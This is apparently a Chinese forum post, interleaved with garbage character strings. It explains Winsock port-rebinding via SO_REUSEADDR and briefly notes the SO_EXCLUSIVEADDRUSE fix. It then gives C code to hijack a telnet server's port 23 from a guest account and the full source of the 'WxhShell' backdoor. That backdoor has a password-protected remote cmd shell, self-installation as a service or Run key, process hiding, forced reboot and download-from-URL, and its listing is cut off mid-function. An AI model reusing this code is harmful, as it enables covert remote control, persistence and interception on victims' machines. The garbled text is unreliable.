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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DF'8GF&Rp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uArR\k(
Z v4<b saddr.sin_family = AF_INET; !h>D;k6 e R uLvG+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~Eq \DK ]M3#3Ha" bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]NtSu%u S8%n .<OB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ib1e#M3 h~w4, T 这意味着什么?意味着可以进行如下的攻击: W
(`c 7UKYmJk. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *zy'#`> x5OC;OQc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1kmQX+f O%-h&C3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7 jjU y? "@v. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 '&by3y5w-3 YX*0?S 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =Y9\DeIZ pcH<gF(k 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'S?;J ,/ J{Tq%\a3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^Dr.DWi{$ ,GrB'N{8e #include 8Mu;U3cIW #include U<47WfcW #include se!mb _! #include }>&KUl DWORD WINAPI ClientThread(LPVOID lpParam); /s
c.C int main() ]>Si0% { M^6$
MMx WORD wVersionRequested; W&(f&{A DWORD ret; LmQ/#Gx WSADATA wsaData; kZVm1W1 BOOL val; iq6a|XGi SOCKADDR_IN saddr; xMI+5b8 SOCKADDR_IN scaddr; ~O:
U|& int err; |)o#|Qo
SOCKET s; EvE,Dm?h SOCKET sc; WJ+>e+ int caddsize; SMoz:J*Q( HANDLE mt; f-g1[!"F DWORD tid; 6GYtY> wVersionRequested = MAKEWORD( 2, 2 ); ([ dT!B#aH err = WSAStartup( wVersionRequested, &wsaData ); EfiU$8y if ( err != 0 ) { \ZD[!w7 printf("error!WSAStartup failed!\n"); `HW:^T return -1; \Hwg) Uc{ } F98i*K`" saddr.sin_family = AF_INET; ?t rV72D `.=sTp2rbc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z0ReWrl;` ~ y;y(4< saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jxw_*^w" saddr.sin_port = htons(23); t`G)b&3_O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :eOR-}p' { #SkX@sl@ printf("error!socket failed!\n"); 8g*hvPc return -1; ^Y04qeRd } Ht[{ryTxu val = TRUE; MJ\[Dt //SO_REUSEADDR选项就是可以实现端口重绑定的 ?_q+&)4-o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W
f@t4(i { ALGgAX3t printf("error!setsockopt failed!\n"); d~*TIN8Ke~ return -1; {8@\Ij } )%Ru#}1X6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s_eOcm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/\=MBUN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ] hE="z=n 4nkE IZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v27Ja .tA { _+w/
pS`M ret=GetLastError(); %f&< wC printf("error!bind failed!\n"); .Q&rfH3 return -1; 5Qa
zHlJ } :0^s0l listen(s,2); Q$ZHv_VLx while(1) V 0{tap} { UG2w 1xqHw caddsize = sizeof(scaddr); lBA +zZ //接受连接请求 NY.k. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wJG$c-(\0 if(sc!=INVALID_SOCKET) eW8[I'v_& { ;sPzOS9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #[ -\lU| if(mt==NULL) K: r\{#9 { *t9eZ!_f? printf("Thread Creat Failed!\n"); H?yE3w break; Q:MhjkOr} } kzO&24 } Tby,J
B^U CloseHandle(mt); SKXD^OH } ?m;;D'1j closesocket(s); RuAlB* WSACleanup(); A^Cj1:, return 0; ohQAA h } ]hTb@. DWORD WINAPI ClientThread(LPVOID lpParam) l@~LV}BI { 3HiFISA* SOCKET ss = (SOCKET)lpParam; YQ(Po!NI\' SOCKET sc; 2t1I3yA'{z unsigned char buf[4096]; NZXjE$<Vr SOCKADDR_IN saddr; Lz4ehWntO long num; Bw<rp- DWORD val; ZR3nK0 DWORD ret; 7}B //如果是隐藏端口应用的话,可以在此处加一些判断 . (`3JQ2s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lCb+{OB saddr.sin_family = AF_INET; y79qwM. saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )\ 0F7Z saddr.sin_port = htons(23); ;D2E_!N
dt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :q+N&j'3 { uS5o?fg\e printf("error!socket failed!\n"); SR7j\1a/2A return -1; Fu _@!K
} #a9_~\s val = 100; t\R; < x if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
RiFw?Q+ { TbhH&kG)1 ret = GetLastError(); k#)Ad*t return -1; t})$lM } 'Bq ZOZw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p1O6+hRio { V@ :20m ret = GetLastError(); O`W%Tr return -1; H[Weu } g-)mav if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cT'w= { GJQc!cqk printf("error!socket connect failed!\n"); Yx)o:#2 closesocket(sc); ;vp\YIeX1 closesocket(ss); SUdm 0y return -1; >Da~Q WW| } XutF"9u while(1) w|Aqqe { {aj/HFLNY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %c/^_. //如果是嗅探内容的话,可以再此处进行内容分析和记录 %:u[MBe , //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $Ua56Y num = recv(ss,buf,4096,0); s#-eN)1R if(num>0) t#~?{i@m send(sc,buf,num,0); F@vbSFv)/ else if(num==0) 3 <SqoJSp break; y]
V1b{9p num = recv(sc,buf,4096,0); 'K@0Wp if(num>0) %|"Qi]c d send(ss,buf,num,0); "Pc$\zJm; else if(num==0) ,4@|1z{bfm break; LAs7>hM } &Cro2|KZhG closesocket(ss); zg}YGu|J closesocket(sc); 6Wf^0ok return 0 ; zV.pol } Tz-X o <,8l *1C 2qj{n+ ========================================================== 6m`{Z`c$ WS0JS' 下边附上一个代码,,WXhSHELL TT}]wZ p2pAvlNoF ========================================================== +]!lS7nsW \2!!L=&4G #include "stdafx.h" ;#anZC; :BZ0 7`9 #include <stdio.h> )iLM]m #include <string.h> _PXdzeI. #include <windows.h> 3C^1frF #include <winsock2.h> FLr;`3 #include <winsvc.h> _N#&psQzw #include <urlmon.h> vK$^y^ #}yTDBt #pragma comment (lib, "Ws2_32.lib") 8 %Sb+w07 #pragma comment (lib, "urlmon.lib") (.X]F_*sc =nxKttmU0 #define MAX_USER 100 // 最大客户端连接数 tJD]
(F #define BUF_SOCK 200 // sock buffer k`YYZt]@ #define KEY_BUFF 255 // 输入 buffer ]n
v( aM?d tS?lB05TOR #define REBOOT 0 // 重启 ! -tz4vjw #define SHUTDOWN 1 // 关机 T0e<Slo~C jPJAWXB4a #define DEF_PORT 5000 // 监听端口 Fwfo2 *y7 $xa4 #define REG_LEN 16 // 注册表键长度 Z[L5 ; #define SVC_LEN 80 // NT服务名长度 H5xzD9K;/C x0+glQrNN // 从dll定义API _"N\b%CkO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !`wW_W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Faac]5u:* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r/r:oXK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S%6U~@hig [_!O<z_sB // wxhshell配置信息 _%pAlo_6 struct WSCFG { f`P9ku#j} int ws_port; // 监听端口 Qi=*1QAkr char ws_passstr[REG_LEN]; // 口令 i$Z#9M9 int ws_autoins; // 安装标记, 1=yes 0=no M?@pN<| char ws_regname[REG_LEN]; // 注册表键名 D<):ZfUbI char ws_svcname[REG_LEN]; // 服务名 shFc[A,r} char ws_svcdisp[SVC_LEN]; // 服务显示名 <d7xt*4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 :7b-$fm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;#QhQx int ws_downexe; // 下载执行标记, 1=yes 0=no &O1v,$}' char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" W|R-J char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wGLF%;rRe4 Dkw7]9Qm }; SI-X[xf i/qTFQst
_ // default Wxhshell configuration JOfV]eCL struct WSCFG wscfg={DEF_PORT, !]b@RUU "xuhuanlingzhe", L*
|1/ 1, NPJ.+ph "Wxhshell", (6qsKX "Wxhshell", f&I7,"v "WxhShell Service", K{DAOQ.z "Wrsky Windows CmdShell Service", Y;Y1+jt "Please Input Your Password: ", TSto9$}* 1, K0fv( !r{ " http://www.wrsky.com/wxhshell.exe", ;u!?QSvb
"Wxhshell.exe" r0\f;q }; Es8#]'Rk oY3>UZ5\ // 消息定义模块 8T5k-HwE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %a8&W char *msg_ws_prompt="\n\r? for help\n\r#>"; {B{i(6C( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; j\2[H^
char *msg_ws_ext="\n\rExit."; n["
9| char *msg_ws_end="\n\rQuit."; C{m&}g` char *msg_ws_boot="\n\rReboot..."; Cvn$]bt/s char *msg_ws_poff="\n\rShutdown..."; 2p< Aj! char *msg_ws_down="\n\rSave to "; OyVm(%Z
b X,Siz:F char *msg_ws_err="\n\rErr!"; 2*OxA%QELM char *msg_ws_ok="\n\rOK!"; 8z T0_vw Ft-6m% char ExeFile[MAX_PATH]; x)viY5vjH int nUser = 0; I:;+n^N? HANDLE handles[MAX_USER]; \ TL82H@D int OsIsNt; .Ff_s 1f//wk| SERVICE_STATUS serviceStatus; 8wFn}lw& SERVICE_STATUS_HANDLE hServiceStatusHandle; m,6hee fluGf // 函数声明 S+T|a:]\7 int Install(void); gGfq6{9g int Uninstall(void); %z)EO9vtr int DownloadFile(char *sURL, SOCKET wsh); uxDLDA$; int Boot(int flag); F(4yS2h( void HideProc(void); buYDl int GetOsVer(void); uiMIz?+ int Wxhshell(SOCKET wsl); =5s$qb?# void TalkWithClient(void *cs); 0dt"ZSm int CmdShell(SOCKET sock); J/kH%_ >Ir int StartFromService(void); dR[o|r int StartWxhshell(LPSTR lpCmdLine); ?r3e*qJGn "c
Pz|~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QJXdb]Y^; VOID WINAPI NTServiceHandler( DWORD fdwControl ); yT:!%\F9 Pj!%ym3A // 数据结构和表定义 RVF F6N^ SERVICE_TABLE_ENTRY DispatchTable[] = R^tcr)( { fVUKvZ}P* {wscfg.ws_svcname, NTServiceMain}, ?5~!i9pY {NULL, NULL} s]x2DH+_ }; j|4tiv> L82NP)St // 自我安装 x#
8IZ int Install(void) g
i4 { yq6LH char svExeFile[MAX_PATH]; EfSMFPM
HKEY key; Oz>io\P94 strcpy(svExeFile,ExeFile); ^!uO(B& 9dYOH)f // 如果是win9x系统,修改注册表设为自启动 3B#!2| if(!OsIsNt) { Au=kSSB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aBlbg3 q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d*9j77C ] RegCloseKey(key); az
bUc4M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z;J`5=TS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /v$]X4 S` RegCloseKey(key); 9 z*(8d return 0; zJ_My&~ } ]h8/M7k } L>:FGNf^H } m X:bA5db else { "1%*'B^}bw cYD1~JX. // 如果是NT以上系统,安装为系统服务 n/-N;'2J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {6tx,; r(F if (schSCManager!=0) W-XN4:,qI { 8A_TIyh? SC_HANDLE schService = CreateService llqDT-cp ( V"g~q?@F schSCManager, R `Q?J[e wscfg.ws_svcname, k4mTZ}6E wscfg.ws_svcdisp, _z%\'(l+ SERVICE_ALL_ACCESS, rgn|24x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {~1M SERVICE_AUTO_START, P^;WB*V SERVICE_ERROR_NORMAL, Z@nmjj i svExeFile, f#c BQ~ NULL, =U_@zDD@V NULL, ZjavD^ky NULL, HnK/A0jM NULL, [Ekgft& NULL 5j1 IH,yW ); p1?J if (schService!=0) +1f{_v { f>4+,@G CloseServiceHandle(schService); _<Vg[-:1 CloseServiceHandle(schSCManager); b)y<.pS\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {4)5]62>u strcat(svExeFile,wscfg.ws_svcname); )SD_}BY%k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |vT=Nnu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nc:U4 RegCloseKey(key); )w@y(;WJ return 0; dcR6KG 8 } y|LXDq4Wj } #nDL CloseServiceHandle(schSCManager); 5Wl,J _<F } 2}@*Ki7 } KK .cDAR WMA*.$Zi return 1; `|NevpXY1 } LA>dkPB A1 b6Zt // 自我卸载 ;?j~8 int Uninstall(void) qG*_w
RF { fl!1AKSn@N HKEY key; :.C)7( 8S N~0$x,bR if(!OsIsNt) { E.Pje@d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \O,j}O' RegDeleteValue(key,wscfg.ws_regname); uRs9}dzv RegCloseKey(key); 81cv:|" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f`bIQ 9R RegDeleteValue(key,wscfg.ws_regname); H|x k${R` RegCloseKey(key); X.:_"+I; return 0; w7Pe } s}<)BRZi } B##C{^5A` } P'gT6*an," else { <"{+ 5auL<Pq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 64;oB_ if (schSCManager!=0) }%
FDm@+ { Ho:}Bn
g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }.w#X if (schService!=0) >n#g9v K { VQ/ <09e if(DeleteService(schService)!=0) { *%z<P~} CloseServiceHandle(schService); cRjL3 CloseServiceHandle(schSCManager); !~Ax return 0; |UABar b } i:AjWC@] CloseServiceHandle(schService); ~4}*Dhsh } 5J?bE?X CloseServiceHandle(schSCManager); GR_p1 C\ } e=YO.HT } gE-lM/w {Nzmb|& return 1; DKf}47y } t=A E7 s=3EBh // 从指定url下载文件 'JJ1#kKa int DownloadFile(char *sURL, SOCKET wsh) LZ3rr- { #wq;^)> HRESULT hr; F<H`8*q9 char seps[]= "/"; %'$cH$%~J
char *token; Ma
n^\gkCi char *file; b0rt.XB char myURL[MAX_PATH]; =]2
b8 char myFILE[MAX_PATH]; |F8;+nAVF# $@lq}FQ% strcpy(myURL,sURL); ~Q3WBOjn token=strtok(myURL,seps); }6yxt9 while(token!=NULL) Q';\tGy { 5EVB27k file=token; }39M_4a& token=strtok(NULL,seps); (e>RNn\ } P6.) P|n7= -fx(H+ GetCurrentDirectory(MAX_PATH,myFILE); S]Yu6FtWiO strcat(myFILE, "\\"); 9Ba|J"?Y k strcat(myFILE, file); ,APGPE}I[ send(wsh,myFILE,strlen(myFILE),0); &h_d|8 send(wsh,"...",3,0); hqwz~Ky} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3ZT/>a>@ if(hr==S_OK) dn:|m^<) return 0; hVTyv" else \=
)[ return 1; (\[jf39e 3D[:Rf[ } qP%Smfp6 9;m#>a@Y // 系统电源模块 Cb!`0%G int Boot(int flag) NzwGc+\7} { W0p#Y h:{_ HANDLE hToken; >@q2FSMf TOKEN_PRIVILEGES tkp; VO\S>kw #!K~_DL if(OsIsNt) { jn5=N[hd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uL qpbn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oj,Vi-T Z tkp.PrivilegeCount = 1; >=]NO'?O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^ mQ;CMV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4#'^\5 if(flag==REBOOT) { 6c;?`C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ugee?;]lu return 0; ^5^
zo~^o } TZ`]#^kU else { p~k`Z^xY$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r5X BcG(2 return 0; f%(e,KgW= } \?p9qR;"4 } oeRYyJ else { b ?= if(flag==REBOOT) { q]wn:%rX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D7n&9Z return 0; QWIOim- } 7Vof7Y < else { bb0{-T)1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,<Do ^HB/ return 0; 2t
Z\{= } ,vHX>)M| } AQ_#uxI'oa JOL Z2 return 1; h P6fTZ=Ln } 7lBQd ( F#3$p$;B$ // win9x进程隐藏模块 r4z}yt+ void HideProc(void) AS/\IHZ\ { ?8aWUgl R'$ T6FB5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t'_,9 if ( hKernel != NULL ) y:(C=*^<t { }lQn]q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n"`SL<K1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~[bMfkc3 FreeLibrary(hKernel); G~mB=] } El8.D3 P^d., return; lk *QV } +{l3#Y #,|_d>p: // 获取操作系统版本 O(WMTa'% int GetOsVer(void) =kZwB*7 { HS|g
OSVERSIONINFO winfo; P\G C8KV] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q;He:vX GetVersionEx(&winfo); $SD@D6`lL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~{]m8a/ `6 return 1; 28ov+s~1+- else V'BZ=.= return 0; ^.$r1/U } @kgpq JOoLHZQ1v // 客户端句柄模块 ;*$8iwBQ_ int Wxhshell(SOCKET wsl) kgI.kT(= { 1(\I9L&J
SOCKET wsh; MCO$>QL struct sockaddr_in client; :_b
=Km< DWORD myID; 'E6gEJ Am}PXj6 while(nUser<MAX_USER) 7n3x19T { )LS+M_
int nSize=sizeof(client); ~bm2_/RL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &4$43\(D if(wsh==INVALID_SOCKET) return 1; (? #U& Ok.DSOT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9.w3VF_C if(handles[nUser]==0) i|! 9o: closesocket(wsh); sMe~C>RD else onypwfIk)t nUser++; +^% &8< } 1'._SMP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *Uw# 5]O LV1Xt return 0; zdQu%q } Fq\`1Ee{ %:8q7PN| // 关闭 socket Fn0LE~O}-8 void CloseIt(SOCKET wsh) *ytd.^@r { )T~ +>+t closesocket(wsh); !gH.st nUser--; wQ/@+$> ExitThread(0); 1:l&&/Wy } dUVTQ18F 4!b'%) // 客户端请求句柄 VBj;2~Xj4h void TalkWithClient(void *cs) K&~#@I; { }n&JZ`8<s 1*`JcUn,> SOCKET wsh=(SOCKET)cs; #z54/T char pwd[SVC_LEN]; 4O,a`:d1$6 char cmd[KEY_BUFF]; PI<s5bns
{ char chr[1]; LYo7?rp int i,j; oDiv9jm lNp:2P while (nUser < MAX_USER) { kQiW 5 ^=M(K '' if(wscfg.ws_passstr) { \(7# N<-
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g&(~MD2{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]KPg=@Q/ //ZeroMemory(pwd,KEY_BUFF); KVe'2Q< i=0; cLk+( dn while(i<SVC_LEN) {
Tee3U%Y sf&K<C]( // 设置超时 lNnbd?D8 fd_set FdRead; .Im+()b&& struct timeval TimeOut; {(:) FD_ZERO(&FdRead); 4Fc1' FD_SET(wsh,&FdRead); tf}Q%)`f TimeOut.tv_sec=8; :zy'hu; TimeOut.tv_usec=0; f$*9J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o2UJ*4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z\ $>k_ >Zp]vK~s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xM"XNT6b pwd =chr[0]; qk{UO
< if(chr[0]==0xd || chr[0]==0xa) { S{|)9EKw pwd=0; -`1L[-<d=/ break; BGYm]b\j[ } K`83C`w. i++; P\4o4MF@K } TVh7h`Eg :s985sEv // 如果是非法用户,关闭 socket [
:(M<u`y> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F[giq1# } D`@U[ `Sw g<5Pc, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *bC^X' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }^bL' 3 AF]en while(1) { |(8h:g bM_(`]&* ZeroMemory(cmd,KEY_BUFF); `CUO! 'U w)>z3Lm // 自动支持客户端 telnet标准 ?)<XuMh j=0; xb_:9 while(j<KEY_BUFF) { a^1c _ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5}aC'j\ cmd[j]=chr[0]; H<Taf%JT if(chr[0]==0xa || chr[0]==0xd) { )/^$JYz cmd[j]=0; 1VsEic break; HWAqJb [ } e-av@a3 j++; s+~Slgl } L2A#OZZu b-/x // 下载文件 PP`n>v=n if(strstr(cmd,"http://")) { j %0_!*#3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); h\ek2K if(DownloadFile(cmd,wsh)) ,H1~_|)< send(wsh,msg_ws_err,strlen(msg_ws_err),0); FDC{8e else 0'oT {iN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K:Go%3~, } *F&&rsb else { +Y[+2=lO =5eDT~=2{U switch(cmd[0]) { 2=
mD vw6FvE`lC // 帮助 muq|^Hfb case '?': { @S:/6__ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zQ_[wM- break; $q+`GXc- } ^*W<$A_ // 安装 U.0/r!po case 'i': { v%Q7 \X( if(Install()) *0zH5c send(wsh,msg_ws_err,strlen(msg_ws_err),0); xT8"+} else z1 px^#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?`Rl6!@8\ break; ea+rjv m } QYGxr+D // 卸载 ,99G2Ev4c case 'r': { 'Mqa2o'M if(Uninstall()) : seL= send(wsh,msg_ws_err,strlen(msg_ws_err),0); B+sqEj- else <}1%">RA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7y7y<`)I5 break; _q$fw& } `roSOX1f // 显示 wxhshell 所在路径 Oei2,3l,? case 'p': { (%!R char svExeFile[MAX_PATH]; m(P)oqwM strcpy(svExeFile,"\n\r"); c!T{|'? strcat(svExeFile,ExeFile); sn#h=,*4` send(wsh,svExeFile,strlen(svExeFile),0); Al]9/ML/m break; Q7%#3ML } 8hp]+k_y // 重启 YTh4&wm case 'b': { eP?|U.on send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Hxr3[+$ if(Boot(REBOOT)) *p!dd?8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ow\d b else { k~dr;j closesocket(wsh); 4Pdk?vHK; ExitThread(0); (Mh\!rMg } z\5Nni/~6D break; q Q8l8 } 5al{[mi // 关机 =SnR9In case 'd': { &O)mPnx` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,oe{@z{*@ if(Boot(SHUTDOWN)) Dw3!
ibg send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oc`fQqYy else { B E)l77=/ closesocket(wsh); w (-n1oSo ExitThread(0); $)~]4n= } L]}|{<3\ break; !W7ekPnK }
U8!njLC // 获取shell Hd`RR3J case 's': {
n9Yk;D2 CmdShell(wsh); .zt]R@@6 closesocket(wsh); K_}acU ExitThread(0); LsV"h< break; -;*Z!|e9 } Mw.+0R!T // 退出 w%\;|y4+ case 'x': { ZZ5yu* & send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 78-:hk CloseIt(wsh); ](D [T break; HfiM]^ } |O?Aj1g[c? // 离开 &i!] case 'q': { )frtvN7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); |M_Bbo@ud closesocket(wsh); 48`<{|r{ WSACleanup(); 1<"kN^ exit(1);
f7s.\ break; Dn?L } jGCW^#GE } cD6o8v4]] } =3p h:t bJD"&h5 // 提示信息 HvTQycG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d6VKUAk'7> } |T%/d#b~ } 4J1Q])G9 fZO/HzX return; *79<ypKG$ } `h'^S,'* (I5ra_FVs // shell模块句柄 =l+p nG int CmdShell(SOCKET sock) Yt^+31/% { 6z*L9Vy($ STARTUPINFO si; qC&<U ZeroMemory(&si,sizeof(si)); ;Z*RCuwg si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d\f5\Y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Hv=iVmt PROCESS_INFORMATION ProcessInfo; !l|Qyk[ char cmdline[]="cmd"; /[L:ol6;! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .8m)^ET return 0; :\Z0^{ } "e"`Or S}/CzQ // 自身启动模式 d?mdw
?| int StartFromService(void) )C@,mgh { Nvi14,q/ typedef struct Yq_zlxd%F { ~gc)Ww0(Q DWORD ExitStatus; {~"=6iyj DWORD PebBaseAddress; +l9avy+P( DWORD AffinityMask; "n:9JqPb DWORD BasePriority; fomkwN ULONG UniqueProcessId; v\c3=DbO ULONG InheritedFromUniqueProcessId; `dK\VK^ } PROCESS_BASIC_INFORMATION; '9)@ U+yfQ 3kMiC$ PROCNTQSIP NtQueryInformationProcess; LtQy(F%8/ u+9Mc u" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |]Xw1.S.L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d~8Q)"6 [ [I9d HANDLE hProcess; -1R~3j1_ PROCESS_BASIC_INFORMATION pbi; \WTg0b[ SUw{xGp HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kLhtkuS4 if(NULL == hInst ) return 0; yBoZ@9Do ]V_9[=% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0)B+: 